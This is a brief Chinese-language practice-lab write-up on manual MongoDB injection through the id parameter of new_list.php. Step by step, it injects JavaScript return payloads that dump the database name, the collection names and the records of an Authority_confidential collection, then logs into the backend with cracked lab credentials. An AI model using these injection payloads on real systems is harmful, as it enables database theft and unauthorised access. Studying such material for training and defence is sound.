MongoDB靶场手工注入

1.构造数据库回显

new_list.php?id=1'});return ({title:'1',content:'2

可以看到页面上有回显

2.查询数据库

id=1'});return({title:tojson(db),content:'2

3.查询数据库中的所有表

id=1'});return({title:tojson(db.getCollectionNames()),content:'2

4.查询表中的所有字段

查询表中的第一个字段信息 

id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2

解密之后无法登录 说明密码错误 继续查询第二个字段信息

查询表中第二个字段信息

id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2

5.登录后台

使用在线解密对密码进行解密后为902621

用户名为mozhe 密码为902621